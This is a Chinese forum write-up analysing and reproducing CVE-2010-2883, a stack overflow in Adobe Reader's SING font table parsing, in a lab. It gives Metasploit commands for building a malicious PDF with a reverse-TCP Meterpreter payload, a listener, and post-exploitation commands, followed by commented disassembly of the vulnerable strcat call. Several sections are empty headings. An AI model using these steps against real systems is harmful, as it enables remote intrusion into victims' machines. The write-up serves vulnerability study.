其他
CVE-2010-2883漏洞分析与复现
看雪论坛作者ID:Sal_Tay
1
漏洞信息
1、漏洞简述
漏洞名称:Adobe Reader TTF字体SING表栈溢出漏洞 漏洞编号:CVE-2010-2883 漏洞类型:栈溢出 漏洞影响:信息泄露 CVSS评分:9.3(High) 利用难度:Medium 基础权限:不需要
2、组件概述
3、漏洞利用
4、漏洞影响
5、解决方案
2
漏洞复现
1、环境搭建
靶机环境:Windows XPx86 SP3 靶机配置:192.168.44.153:8888 攻击机环境:Kali Linux 2021.2 攻击机配置:192.168.44.152
2、复现过程
搜索Adobe渗透模块
msf > search adobe_cooltype_sing
调用渗透模块
msf > use exploit/windows/fileformat/adobe_cooltype_sing/
调用meterpreter载荷,反向连接到渗透机
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
设置Kali Linux的IP地址
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.44.153
设置本地监听端口
msf exploit(adobe_cooltype_sing) > set LPORT 8888
设置PDF文件名称
msf exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf
生成PDF文件
msf exploit(adobe_cooltype_sing) > exploit
使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置监听IP地址(跟PDF木马文件一致)
msf exploit(handler) > set LHOST 192.168.44.153
设置监听的端口(跟PDF木马文件一致)
msf exploit(handler) > set LPORT 8888
开启监听
msf exploit(handler) > exploit
查看系统信息
meterpreter > sysinfo
截屏
meterpreter > screenshot
获取进程
meterpreter > ps
切换进程
meterpreter > migrate 872
3
漏洞分析
1、基本信息
漏洞文件:低于9.3.4版本的Adobe Reader 漏洞函数:strcat() 漏洞对象:SING表的UniqueName成员
2、背景知识
(1) 栈溢出
(2) ROP技术
3、详细分析
(1) 基础分析
typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;//相对文件的偏移
ULONG length;//数据长度为0x1DDF
}TableEntry;
(2) 静态分析
① Ida分析
② 补丁Diff
③ 漏洞函数分析
(3) 动态分析
0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII 53,"ING", "SING"
0803DD79 57 push edi ; edi入栈
0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24] ; ecx保存变量指针
0803DD7D E8 843DFEFF call CoolType.08021B06 ; 通过变量保存一个值,实际上是返回了SING表的地址
0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] ; 把这个SING表地址赋给eax
0803DD85 3BC6 cmp eax,esi ; 此时esi为0,与eax比较,意思是判断SING表是否有效
0803DD87 C645 FC 02 mov byte ptr ss:[ebp-0x4],0x2
0803DD8B 74 37 je short CoolType.0803DDC4 ; jump equal 0的意思,前面比较不为零,不跳转
0803DD8D 8B08 mov ecx,dword ptr ds:[eax] ; 取双字节的EAX所指的地址的内存内容,赋值给ECX,此处内容为0X00010000,应该是SING表版本号
0803DD8F 81E1 FFFF0000 and ecx,0xFFFF ; 将0x00010000与0x0000FFFF与或位运算,得0
0803DD95 74 08 je short CoolType.0803DD9F ; 上一步比较得0,此处跳转
0803DD97 81F9 00010000 cmp ecx,0x100
0803DD9D 75 21 jnz short CoolType.0803DDC0
0803DD9F 83C0 10 add eax,0x10 ; eax存储sing表的基地址,因此加0x10为UniqueName结构
0803DDA2 50 push eax ; UniqueName地址入栈
0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] ; 将EBP所指的地址的内存内容,赋值给EAX
0803DDA6 50 push eax ; EAX入栈
0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 ; 将EBP所指的内容赋值为0
0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat> ; 调用strcat
4
缓解措施
5
参考文献
看雪ID:Sal_Tay
https://bbs.pediy.com/user-home-917290.htm
# 往期推荐
4. 新人PWN入坑总结
5. 新人PWN堆Heap总结
6. 如何利用栈溢出漏洞
球分享
球点赞
球在看
点击“阅读原文”,了解更多!